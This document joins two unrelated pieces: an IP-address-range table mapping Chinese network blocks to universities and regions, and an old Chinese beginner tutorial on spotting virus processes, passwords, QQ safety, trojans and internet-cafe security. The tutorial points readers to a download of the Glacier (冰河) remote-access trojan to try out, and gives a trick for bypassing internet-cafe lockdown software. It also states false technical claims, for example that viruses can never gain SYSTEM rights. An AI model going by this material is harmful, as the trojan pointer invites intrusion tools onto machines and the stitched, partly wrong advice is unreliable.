210.039.208.000__210.039.215.255__汕头教育学院____

210.039.216.000__210.039.223.255__湛江教育学院____

210.039.224.000__210.039.231.255__华南理工大学附属中学____

210.040.000.000__210.040.031.255__贵州大学____

210.040.032.000__210.040.047.255__贵州工业大学____

210.040.048.000__210.040.063.255__贵州农业学院____

210.040.064.000__210.040.079.255__贵州师范大学____

210.040.080.000__210.040.095.255__贵州财经学院____

210.040.096.000__210.040.111.255__贵州人民大学____

210.040.112.000__210.040.127.255__贵州____

210.040.240.000__210.040.247.255__云南交通学校____

210.040.252.000__210.040.255.255__云南省化工学校____

210.041.000.000__210.041.015.255__西藏大学____

210.041.016.000__210.041.019.255__西藏____

210.041.128.000__210.041.143.255__攀枝花大学____

210.041.152.000__210.041.159.255__绵阳师范专科学校____

210.041.160.000__210.041.175.255__乐山师范高等专科学校____

210.041.176.000__210.041.183.255__内江师范高等专科学校____

210.041.184.000__210.041.187.255__绵阳经济技术高等专科学校____

210.041.188.000__210.041.191.255__成都广播电视大学____

210.041.192.000__210.041.207.255__四川师范学院____

210.041.208.000__210.041.223.255__成都中医药大学____

210.041.224.000__210.041.239.255__成都气象学院____

210.041.240.000__210.041.255.255__西南石油学院____

210.042.008.000__210.042.015.255__陨阳师范高等专科学校____

210.042.016.000__210.042.023.255__湖北荆州师专____

210.042.024.000__210.042.031.255__武汉化工学院____

210.042.032.000__210.042.047.255__水利电力大学____

210.042.048.000__210.042.063.255__海军工程学院____

210.042.064.000__210.042.067.255__湖北省教育考试院____

210.042.068.000__210.042.071.255__湖北____

210.042.072.000__210.042.079.255__武汉教育学院____

210.042.080.000__210.042.087.255__湖北__武汉____

210.042.096.000__210.042.111.255__武汉城市建设学院____

210.042.112.000__210.042.127.255__湖北医科大学____

210.042.136.000__210.042.139.255__湖北省邮电学校____

210.042.140.000__210.042.141.255__湖北省教育委员会____

210.042.144.000__210.042.159.255__中南民族学院____

210.042.160.000__210.042.175.255__湖北广播电视大学____

210.042.176.000__210.042.191.255__湖南中医学院____

210.042.192.000__210.042.207.255__湖南广播电视大学____

210.042.208.000__210.042.223.255__中国人民解放军外国语学院____

210.042.224.000__210.042.239.255__河南财政税务高等专科学校____

210.042.240.000__210.042.255.255__河南师范大学____

210.043.000.000__210.043.015.255__洛阳工学院____

210.043.016.000__210.043.023.255__郑州工业高等专科学校____

210.043.024.000__210.043.031.255__信阳师范学院____

210.043.032.000__210.043.039.255__河南职业技术师范学院____

210.043.040.000__210.043.043.255__湖南省招生办公室____

210.043.044.000__210.043.047.255__湖南____

210.043.048.000__210.043.063.255__湖南财经学院____

210.043.064.000__210.043.079.255__吉首大学____

210.043.080.000__210.043.095.255__常德师范高等专科学校____

210.043.096.000__210.043.111.255__湖南计算机高等专科学校____

210.043.112.000__210.043.127.255__中南工学院____

210.043.128.000__210.043.143.255__华北水利水电学院____

210.043.144.000__210.043.147.255__河南____

210.043.152.000__210.043.159.255__湖南省交通学校____

210.043.160.000__210.043.175.255__怀化师范高等专科学校____

210.043.176.000__210.043.191.255__长沙电力学院____

210.043.192.000__210.043.207.255__长沙交通学院____

210.043.208.000__210.043.223.255__湘潭师范学院____

210.043.224.000__210.043.239.255__湖南农业大学____

210.043.240.000__210.043.247.255__中南林学院____

210.043.248.000__210.043.255.255__株洲工学院____

210.044.000.000__210.044.015.255__山东师范大学____

210.044.016.000__210.044.031.255__青岛大学____

210.044.032.000__210.044.039.255__山东水利专科学校____

210.044.040.000__210.044.047.255__山东公安专科学校____

210.044.048.000__210.044.063.255__莱阳农学院____

210.044.064.000__210.044.079.255__山东潍坊理工学院____

210.044.080.000__210.044.095.255__青岛建筑工程学院____

210.044.096.000__210.044.111.255__青岛化工学院____

210.044.112.000__210.044.127.255__聊城师范学院____

210.044.128.000__210.044.143.255__山东财政学院____

210.044.144.000__210.044.159.255__山东轻工学院____

210.044.160.000__210.044.175.255__山东中医药大学____

210.044.176.000__210.044.191.255__山东工程学院____

210.044.192.000__210.044.207.255__泰安师范专科学校____

210.044.208.000__210.044.223.255__山东医科大学____

210.044.224.000__210.044.231.255__山东省章丘市第四中学____

210.044.232.000__210.044.239.255__枣庄师范专科学校____

210.044.240.000__210.044.243.255__山东胶州市实验中学____

210.044.244.000__210.044.247.255__山东电力高等专科学校____

210.044.248.000__210.044.255.025__昌潍师范专科学校____

210.045.000.000__210.045.015.255__中国人民解放军炮兵学院____

210.045.016.000__210.045.031.255__安徽中医学院____

210.045.032.000__210.045.047.255__阜阳师范学院____

210.045.048.000__210.045.055.255__皖南医学院____

210.045.064.000__210.045.079.255__中国科学技术大学____

210.045.080.000__210.045.087.255__解放军电子工程学院____

210.045.088.000__210.045.095.255__芜湖师范专科学校____

210.045.096.000__210.045.111.255__安徽医科大学____

210.045.112.000__210.045.127.255__中国科大经济技术学院____

210.045.128.000__210.045.143.255__淮北煤炭师范学院____

210.045.144.000__210.045.159.255__淮南工业学院____

210.045.160.000__210.045.167.255__滁州师范专科学校____

210.045.168.000__210.045.175.255__安庆师范学院____

210.045.176.000__210.045.191.255__安徽农业大学____

210.045.192.000__210.045.207.255__安徽师范大学____

210.045.208.000__210.045.223.255__安徽大学____

210.045.224.000__210.045.231.255__安徽____

210.045.232.000__210.045.233.255__中国计算机函授学院____

210.045.234.000__210.045.235.255__安徽合肥民办三联学院____

210.045.240.000__210.045.255.255__合肥工业大学____

210.046.000.000__210.046.007.255__牡丹江师范学院____

210.046.008.000__210.046.015.255__黑龙江矿业学院____

210.046.016.000__210.046.023.255__哈尔滨广播电视大学____

210.046.024.000__210.046.031.255__哈尔滨__齐齐哈尔____

210.046.032.000__210.046.039.255__黑龙江中医药大学____

210.046.040.000__210.046.047.255__黑龙江交通高等专科学校____

210.046.056.000__210.046.059.255__黑龙江广播电视大学____

210.046.064.000__210.046.079.255__哈尔滨建筑大学____

210.046.080.000__210.046.087.255__哈尔滨医科大学____

210.046.088.000__210.046.095.255__哈尔滨医科大学____

210.046.096.000__210.046.111.255__黑龙江大学____

210.046.112.000__210.046.127.255__黑龙江商学院____

210.046.128.000__210.046.135.255__大庆职工大学____

210.046.136.000__210.046.143.255__大庆石油学院____

210.046.144.000__210.046.151.255__大庆石油学院____

210.046.152.000__210.046.159.255__黑龙江东方学院____

210.046.168.000__210.046.171.255__黑龙江电化教育馆____

210.046.172.000__210.046.173.255__黑龙江省中实学校____

210.046.176.000__210.046.191.255__佳木斯大学____

210.046.192.000__210.046.199.255__黑龙江八一农垦大学____

210.046.208.000__210.046.211.255__哈尔滨工程高等专科学校____

210.037.176.000__210.037.177.255__海南琼海加积中学____

210.037.178.000__210.037.179.255__海南琼海加积二中____

210.037.180.000__210.037.181.255__海南琼海卫生学校____

210.037.184.000__210.037.185.255__海南琼海塔洋中学____

210.046.216.000__210.046.223.255__哈尔滨体育学院____

210.046.224.000__210.046.231.255__黑龙江____

210.046.232.000__210.046.239.255__哈尔滨大学____

210.046.240.000__210.046.243.255__呼兰师范专科学校____

210.046.244.000__210.046.247.255__绥化师范专科学校____

210.046.248.000__210.046.255.255__牡丹江医学院____

210.047.000.000__210.047.007.255__长春光学精密机械学院____

210.047.008.000__210.047.009.255__吉林____

210.047.048.000__210.047.055.255__吉林师范学院____

210.047.064.000__210.047.079.255__齐齐哈尔大学____

210.047.080.000__210.047.095.255__黑龙江____

210.047.096.000__210.047.097.255__哈尔滨市复华小学____

210.047.104.000__210.047.111.255__齐齐哈尔医学医院____

210.047.112.000__210.047.127.255__哈尔滨医科大学____

210.047.128.000__210.047.143.255__中国刑事警察学院____

210.047.144.000__210.047.159.255__辽宁____

210.047.160.000__210.047.175.255__沈阳农业大学____

210.047.176.000__210.047.191.255__锦州师范大学____

210.047.192.000__210.047.207.255__海军大连舰艇学院____

210.047.208.000__210.047.223.255__辽宁师范大学____

210.047.224.000__210.047.239.255__大连广播电视大学____

210.047.240.000__210.047.255.255__大连医科大学____

210.025.000.000__210.047.255.255__中国教育网____

210.048.000.000__210.055.255.255__新西兰____

210.056.000.000__210.056.031.255__巴基斯坦____

210.071.020.000__210.071.020.255__台湾____

210.059.000.000__210.071.255.255__台湾____

210.072.008.000__210.072.015.255__上海____

210.072.020.000__210.072.021.255__湖北____

210.072.032.000__210.072.043.255__北京____

210.072.044.000__210.072.044.255__湖北____

210.072.045.000__210.072.047.255__北京____

210.072.000.000__210.072.127.255__中国____

210.072.192.000__210.072.255.255__北京____

210.073.000.000__210.073.031.255__中国____

210.073.044.000__210.073.046.255__辽宁____

210.073.064.000__210.073.095.255__北京____

210.074.032.000__210.074.064.255__北京____

210.074.099.000__210.074.120.255__黑龙江____

210.074.122.000__210.074.122.255__广东____

210.074.123.000__210.074.123.255__重庆____

210.074.126.000__210.074.126.255__湖北____

210.074.148.000__210.074.148.255__广东____

210.074.160.000__210.074.191.255__北京____

210.074.224.000__210.074.255.255__上海____

210.075.032.000__210.075.063.255__广东____

210.076.000.000__210.076.031.255__河南____

210.076.032.000__210.076.063.255__黑龙江____

210.076.064.000__210.076.095.255__广东____

210.076.096.000__210.076.127.255__北京____

210.076.128.000__210.076.159.255__山东____

210.076.160.000__210.076.191.255__辽宁____

210.076.192.000__210.076.199.255__河北____

210.076.200.000__210.076.203.255__天津____

210.077.032.000__210.077.064.255__北京____

210.077.096.000__210.077.127.255__广东____

210.077.161.000__210.077.161.255__重庆____

210.077.169.000__210.077.169.255__重庆____

210.077.246.000__210.077.246.255__湖北____

210.077.253.000__210.077.253.255__陕西____

210.078.128.000__210.078.159.255__北京____

210.078.145.000__210.078.145.255__清华大学____

210.079.224.000__210.079.255.255__北京____

210.079.244.000__210.079.244.255__四川____

210.081.000.000__210.081.031.255__日本____

210.084.000.000__210.084.255.255__澳大利亚____

210.087.248.000__210.087.255.255__香港____

210.088.000.000__210.088.191.255__日本____

210.090.000.000__210.127.255.255__南朝鲜____

210.128.000.000__210.175.255.255__日本____

210.176.000.000__210.176.255.255__香港____

210.178.000.000__210.184.095.255__韩国____

210.188.000.000__210.191.255.255__日本____

210.192.000.000__210.192.255.255__台湾____

210.196.000.000__210.199.255.255__日本____

210.200.000.000__210.200.095.255__台湾____

210.204.000.000__210.207.255.255__南朝鲜____

210.208.189.000__210.208.189.255__台湾__高雄____

210.208.000.000__210.209.063.255__台湾____

210.212.000.000__210.212.255.255__印度____

210.216.000.000__210.223.255.255__南朝鲜____

210.224.000.000__210.239.255.255__日本____

210.240.000.000__210.247.255.255__台湾____

210.248.000.000__211.007.255.255__日本____

210.000.000.000__210.255.255.255__未知地区____

061.157.000.000__061.157.255.255__四川____

061.130.093.000__061.130.254.255__浙江____

061.131.000.000__061.131.127.255__福建____

061.131.128.000__061.131.255.255__江西____

061.132.000.000__061.132.127.255__江苏____

061.133.000.000__061.133.127.255__山东____

061.133.128.000__061.133.191.255__安徽____

061.133.192.000__061.133.223.255__宁夏____

061.133.224.000__061.133.255.255__青海____

061.134.000.000__061.134.063.255__陕西____

061.134.064.000__061.134.095.255__甘肃____

061.134.096.000__061.134.127.255__内蒙古____

061.134.128.000__061.134.191.255__河北____

061.134.192.000__061.134.255.255__山西____

061.135.000.000__061.135.255.255__北京____

061.136.000.000__061.136.063.255__天津____

061.136.064.000__061.136.127.255__河南____

061.136.141.000__061.136.141.255__湖北____

061.136.192.000__061.136.255.255__湖北____

061.137.000.000__061.137.127.255__湖南____

061.137.128.000__061.137.255.255__辽宁____

061.138.000.000__061.138.063.255__黑龙江____

061.138.128.000__061.138.191.255__吉林____

061.138.192.000__061.138.223.255__云南____

061.138.224.000__061.138.255.255__贵州____

061.139.000.000__061.139.127.255__四川____

061.139.128.000__061.139.191.255__海南____

061.139.192.000__061.139.255.255__广西____

061.140.000.000__061.143.255.255__广东____

061.147.008.000__061.147.242.255__江苏____

061.151.000.000__061.151.255.255__上海____

061.153.000.000__061.153.255.255__浙江____

061.154.000.000__061.154.255.255__福建____

061.155.000.000__061.155.255.255__江苏____

061.156.000.000__061.156.255.255__山东____

061.157.129.000__061.157.129.255__四川____

061.158.000.000__061.158.063.255__黑龙江____

061.158.128.000__061.158.194.255__河南_____

061.159.000.000__061.159.255.255__甘肃____

061.162.000.000__061.162.255.255__山东____

061.163.003.000__061.163.003.255__河南____

061.008.000.000__061.008.031.255__澳大利亚____

061.128.096.000__061.128.127.255__新疆____

061.128.128.000__061.128.255.255__重庆____

061.129.000.000__061.129.255.255__上海____

061.130.000.000__061.130.255.255__浙江____

061.128.000.000__061.159.255.255__中国____

061.160.048.000__061.160.049.255__江苏____

061.164.058.000__061.164.058.255__浙江____

061.164.150.000__061.164.150.255__浙江____

061.164.176.000__061.164.176.255__浙江____

061.000.000.000__061.255.255.255__亚洲____

061.000.000.000__061.255.255.255__未知地区____

系统进程篇

系统进程篇.关于查毒.

一款好的防火墙并不能发现所有病毒；一个好的杀毒软件并不能歼灭所有的带毒程序！遇到这些情况我们该做何处理呢？很简单——手工杀毒。而要论到手工杀毒，就不能不提到系统进程的妙用了。

进程、病毒？

书上说：“进程为应用程序的运行实例，是应用程序的一次动态执行。”看似高深，我们可以简单地理解为：它是操作系统当前运行的执行程序。在系统当前运行的执行程序里包括：系统管理计算机个体和完成各种操作所必需的程序；用户开启、执行的额外程序，当然也包括用户不知道，而自动运行的非法程序（它们就有可能是病毒程序）。

危害较大的可执行病毒同样以“进程”形式出现在系统内部（一些病毒可能并不被进程列表显示，如“宏病毒”），那么及时查看并准确杀掉非法进程对于“手工杀毒有起着关键性的作用。

操作系统如何打开进程列表？

要通过进程列表查看系统是否染毒，必须打开当前的执行程序进程列表，Microsoft 的每种系统都有相应的打开方法，但能够显示的能力却因（系统）不同，有所差异：

1. Windows 98 /Me 系统

打开系统进程的方式很简单，快捷键“Ctrl+Alt+Delete”（如图 1），这个窗口大家应该比较熟悉，使用 Windows 系统的用户都知道用这个方法来关闭程序，不过它同样用于显示系统进程，只是 Windows 98 系统较初级，对进程的显示局限于名称，且里面所显示的还有打开的文件及目录名，查看时易混淆。Windows Me 的进程打开方式和 Windows 98 相同。

Windows 9x 系统打开的进程列表混乱且不完全，显然不便于查看系统的具体进程状况，所以建议使用一些工具程序来为 Windows 9x 系统显示进程，如“Windows 优化大师”，在“优化大师”的“系统安全优化”项内打开“进程管理”，在图 2 所示的“Windows 进程管理”窗口内，可以详细查看当前计算机所运行的所有进程，及具体程序所在的位置，这样更方便完成后面要介绍的如何利用进程进行查毒、杀毒。

2. Windows 2000/ XP/2003 系统

Windows 2000、Windows XP、Windows 2003 打开进程窗口的方式与 Windows 9x 系统相同，只是三键后打开的是“Windows 任务管理器”窗口，需要选择里面的“进程”项。Windows 2000 系统只显示具体进程的全名，占用的内存量；Windows XP、Windows 2003 系统相比 Windows 2000 会显示该进程归属于那个用户下，如操作系统所必须的基础程序，会在后面的“用户名”内显示为“SYSTEM”，由用户另外开启的程序则用户名为当前的系统登录用户名。

通过进程发现、处理病毒

在介绍具体的查毒和杀毒前，笔者先回答开篇提出的两个问题。为什么杀毒软件并不能全面的查找和杀掉病毒？首先，病毒防火墙是通过对程序进行反汇编，然后与自己的病毒库进行对比来查找病毒，如果病毒较新，而杀毒软件又未能及时升级便不能识别病毒。其次，杀毒软件在发现病毒后，如果是独立的可执行病毒程序，会选择直接删除的处理方式，而病毒如果被当作进程执行了，杀毒软件就无能为力了，因为它没有功能和权限先停止掉系统的这些进程，被当作进程执行的程序是不能被删除的（这也是大家在删除一个程序时，提示该程序正在被使用不能删除的原因）。所以在使用杀毒软件杀毒时，才会有杀毒完成后，又出现病毒提示的原因。

回到原来话题上！通过进程如何发现和杀掉病毒呢？由前面的知识介绍可知，Windows 9X 和 Windows 2000 系统只能显示进程的名称，这对判断该进程是否是病毒还不够，如果要准确的断定病毒，最好使用前面介绍的“Windows 优化大师”来查看进程程序的源路径，如果是“C:\windows\system”下的一些未知的“EXE”那便极有病毒的可能性了。Windows XP 和 Windows 2003 系统，进程后会有“用户名”的显示，病毒是不可能获得“SYSTEM”权限的，所以应注意“用户名”是当前登录用户的进程，一旦发现是病毒，可以立即“杀掉”。这里介绍两个技巧：

1．发现可疑进程后，利用 Windows 的查找功能，查找该进程所在的具体路径，通过路径可以知道该进程是否合法，譬如由路径“C:\Program Files\3721\assistse.exe”知道该程序是 3721 的进程，是合法的。

2．在对进程是否病毒拿不定主意时，可以复制该进程的全名，如：“***.exe”到 googl.com 或 baidu.com 这样的全球搜查引擎上进行搜查，如果是病毒会有相关的介绍网页。

确定了该进程是病毒，首先应该杀掉该进程，对于 Windows 9x 系统，选中该进程后，点击下面

的“结束任务”按钮，Windows 2000、Windows XP、Windows 2003 系统则在进程上单击右键在弹出菜单上选择“结束任务”。“杀掉”进程后找到该进程的路径删除掉即可，完成后最好在进行一次杀毒，这样就万无一失了。

一次利用进程杀毒的具体过程是这样的：“通过进程名及路径判断是否病毒——杀掉进程——删除病毒程序”，为了让读者更好的判断进程，在这里补充一些 Windows 的进程资料给大家：

进程名 描述

smss.exe Session KManager

csrss.exe 子系统服务器进程

winlogon.exe 管理用户登录

services.exe 包含很多系统服务

lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。

svchost.exe Windows 2000/XP 的文件保护系统

SPOOLSV.EXE 将文件加载到内存中以便迟后打印。

explorer.exe 资源管理器

internat.exe 托盘区的拼音图标

mstask.exe 允许程序在指定时间运行。

regsvc.exe 允许远程注册表操作。(系统服务)→remoteregister

tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。

llssrv.exe 证书记录服务

ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。

RsSub.exe 控制用来远程储存数据的媒体。

locator.exe 管理 RPC 名称服务数据库。

clipsrv.exe 支持“剪贴簿查看器”，以便可以从远程剪贴簿查阅剪贴页面。

msdtc.exe 并列事务，是分布于两个以上的数据库，消息队列，文件系统或其他事务保护资源管理器。

grovel.exe 扫描零备份存储(SIS)卷上的重复文件，并且将重复文件指向一个数据存储点，以节省磁盘空间（只对 NTFS 文件系统有用）。

snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。

以上这些进程都是对计算机运行起至关重要的，千万不要随意“杀掉”，否则可能直接影响系统的正常运行。

最初级网络安全常识

先从这里说起，为什么我想大家都知道，不会保护自己怎么保护别人呢？

一：密码安全

无论你是申请邮箱还是玩网络游戏，都少不了要注册，这样你便会要填密码。大多数人都会填一些简单好记的数字或字母。还把自己的几个邮箱、几个 QQ 和网络游戏的密码都设成一样。在网上你有可能会因为需要而把密码告诉朋友，但若那位朋友的好奇心很强的话，他可能会用你给他的这个密码进入你的其他邮箱或 QQ，你的网上秘密便成了他举手可得的资料了。因此建议，你最常用的那个邮箱密码设置一个不少于 7 位的有字母、数字和符号组成的没有规律的密码，并至少每月改一次。其他不常用的几个邮箱密码不要和主邮箱的密码设成一样，密码可以相对简单点，也可以相同。不过密码内容千万不要涉及自己的名字、生日、电话（很多密码字典都是根据这些资料做出来的）。其他的密码设置也是同样道理，最常用的那个密码要设置的和其他不同，免得被人“一路破”。

顺便提醒一下，不要把写有你密码的那本笔记本放在你认为安全的地方。

二：QQ 安全

QQ 即 OICQ，是腾讯公司出品的网络即时聊天工具，现在的用户多的惊人！所以现在针对 QQ 的工具也十分之多。这里在提一下 QQ 的密码安全，你在申请完 QQ 后第一件事就是去腾讯公司的主页上的服务专区申请密码保护，这点很重要，但也很容易被忽略。

现在言归正转，说 QQ 的安全，在网上用 QQ 查 IP 地址（IP 地址是一个 32 位二进制数，分为 4 个 8 位字节，是使用 TCP/IP 协议的网络中用于识别计算机和网络设备的唯一标识）的事情极为普遍。QQ 查 IP 可以用专门的软件，也可以用防火墙或 DOS 命令，这里不详细说明。IP 被查到后，不怀好意的人可以用各种各样的炸弹攻击你，虽然这些攻击对你的个人隐私没什么危害，但常常被人炸下线，这滋味一定不好。

解决办法有两种：

1.不要让陌生人或你不信任的人加入你的 QQ（但这点很不实用，至少我这样认为）。

2.使用代理服务器（代理服务器英文全称 Proxy Sever，其功能就是代理网络用户去取得网络信息，更确切地说，就是网络信息的中转站）。设置方法是点击 QQ 的菜单==>系统参数==>网络设置==>代理设置==>点击使用 SOCKS5 代理服务器，填上代理服务器地址和端口号，确定就好了，然后退出 QQ，再登陆，这就搞定了。（代理服务器的地址可以到“古巴星云”或“代理猎手 http://ipsky.3322.net”去找）

QQ 密码的破解工具也很多，你只要把密码设的复杂点，一般不容易被破解。所以恶意攻击者可能会使用 GOP 木马，这是一款针对 QQ 密码的木马，具体我没用过，所以不在这里乱说。据了解，运行 GOP 木马后会弹出窗口说“恭喜你！你以中了大奖！请到本公司认领奖品！附带你的有关证件，切记！”。具体关于木马，我会在下下节说。

三：代理服务器安全

使用代理服务器后可以很有效的防止恶意攻击者对你的破坏。但是天下没有白吃的午餐，因为你再使用代理服务器后你的上网资料都会记录在代理服务起的日志中，要是那个网管想“关照”你一下

的话，你是一点生还余地都没有的。（除非你进入代理服务器删了他的日志:P）

四：木马防范

木马，也称为后门，直截了当的说，木马有二个程序组成：一个是服务器程序，一个是控制器程序。当你的计算机运行了服务器后，恶意攻击者可以使用控制器程序进入如你的计算机，通过指挥服务器程序达到控制你的计算机的目的。千万不要小看木马，它可以所定你的鼠标、记录你的键盘按键、修改注册表、远程关机、重新启动等等功能。想知道木马的危害有多大的话，建议你去 http://www.starkun.com 下载一个“冰河”研究。这可是能让你一步成为纵横网络菜菜鸟中的极品工具，可不要因为“冰河”而学坏了呀~~

想不中木马，先要了解木马的传播途径：

1：邮件传播：木马很可能会被放在邮箱的附件里发给你。因此一般你不认识的人发来的带有附件的邮件，你最好不要下载运行，尤其是附件名为*.exe 的。 (奇书网|qinkan.net)

2：QQ 传播：因为 QQ 有文件传输功能，所以现在也有很多木马通过 QQ 传播。恶意破坏者通常把木马服务器程序通过合并软件和其他的可执行文件绑在一起，然后骗你说是一个好玩的东东，你接受后运行的话，你就成了木马的牺牲品了。

3：下载传播：在一些个人网站下载软件时有可能会下载到绑有木马服务器的东东。所以建议要下载工具的话最好去比较知名的网站。

万一你不幸中了木马的话，立刻开启你的杀毒程序，接下来等着木马杀！杀！杀！（现在的杀毒程序能查杀大不份的木马）。另外手工清除木马的方法我就不说了，这涉及注册表知识，而且也没杀毒程序来得方便（我这样认为）。

五：病毒防杀

计算机病毒，是指编制或者在计算机程序中插入的破坏计算机功能或毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或程序代码。

从目前发现的病毒来看，计算机感染病毒后的主要症状有：

1：由于病毒程序把自己或操作系统的一部分用坏簇隐藏起来，磁盘坏簇莫名其妙地增多。

2：由于病毒程序附加在可执行程序头尾或插在中间，使可执行程序容量加大。

3：由于病毒程序把自己的某个特殊标志作为标签，使接触到的磁盘出现特别标签。

4：由于病毒程序本身或其复制品不断入侵占系统空间，使可用系统空间变小。

5：由于病毒程序的异常活动，造成异常的磁盘访问。

6：由于病毒程序附加或占用引导部分，使系统引导变慢。

7：丢失数据和程序。

8：中断向量发生变化。

9：打印出现问题。

10：死机现象增多。

11：生成不可见的表格文件或特定文件。

12：系统出现异常活动。

13：出现一些无意义的画面问候语等。

14：程序运行出现异常现象或不合理的结果。

15：磁盘卷标名发生变化。

16：系统不认识磁盘或硬盘，不能引导系统等。

17：在系统内装有汉字库正常的情况下不能调用汉字库或不能打印汉字。

18：在使用没有写保护的软件的软盘时屏幕上出现软盘写保护的提示。

19：异常要求用户输入口令。

你想尝试一下中病毒的滋味的话可去 cn.yeah.net>http://badbocn.yeah.net 下载病毒感染模拟器。

若你现在发生以上状况，千万不要迟疑，遵循以下步骤处理：

1：立刻关掉电源。

2：找“决对干净”的 DOS 系统磁盘启动计算机。这时，记得要关上这张磁盘个写保护。

3：用杀毒软件开始扫描病毒。

4：若侦测到是文件中毒时，则有三种方试处理：删除文件、重命名文件或是请除病毒。记住：千万不要对中毒文件置之不理，特别是不能让其停留在可执行文件中。

5：若侦测到的是硬盘分区或引导区的病毒时，则你可以用干净的 DOS 磁盘中的 FDISK 指令，执行 FDISK/MBR 命令，以恢复硬盘的引导信息；或是在 A 驱中执行 A:/>SYS C:（C:为中毒磁盘），以救回硬盘引导区的资料。

6：现在，可以重新建文件、重新安装软件或 ，准备备份资料，请切记，备份资料在重新导入系统前，应先进行扫描，以防万一。

7：千万记住，重新建文档到开始运行之前。应再次扫描整个系统，以免中毒文件不小心又被存入系统中。

8：现在可以安心的开始操作计算机了。

注意：每周要记得更新一次病毒库。

六：网吧安全

这里的内容很简单，让你一看就懂。如果你在网吧上网时使用 QQ，进过自己的邮箱（或其他需要你输入密码的地方）。那就请你在离开网吧是，到 C:Program FilesTencent 将自己的 QQ 号所在的文件

夹删了。再到 C:WINDOWSCookies 把里面和你有关的内容都删了。接下来你就可以放心的走了，因为涉及你密码的资料以被你删了。

不过现在很多网吧都装有“美萍”这类安全软件，所以你无法直接访问本地 C 盘，所以建议在网吧不要使用 QQ 和进入需要密码的地方（更有些可恶的网管在网吧设置键盘记录）。如果你现在正坐在某网吧看这篇文章，还有 QQ 和朋友聊的热火朝天。那你可以在腾讯的浏览器的地址栏上键入 C:，这样你就能访问 C 盘了。不过现在大多网吧的安全软件都升过级，这招不一定能用。本文主题不在这里，我就不多说了。 七：安全防黑工具

下载个天网防火墙个人版（http://www.sky.net.cn 下载）和金山毒霸（各大网站均有下载）。这对个人用户以足够了。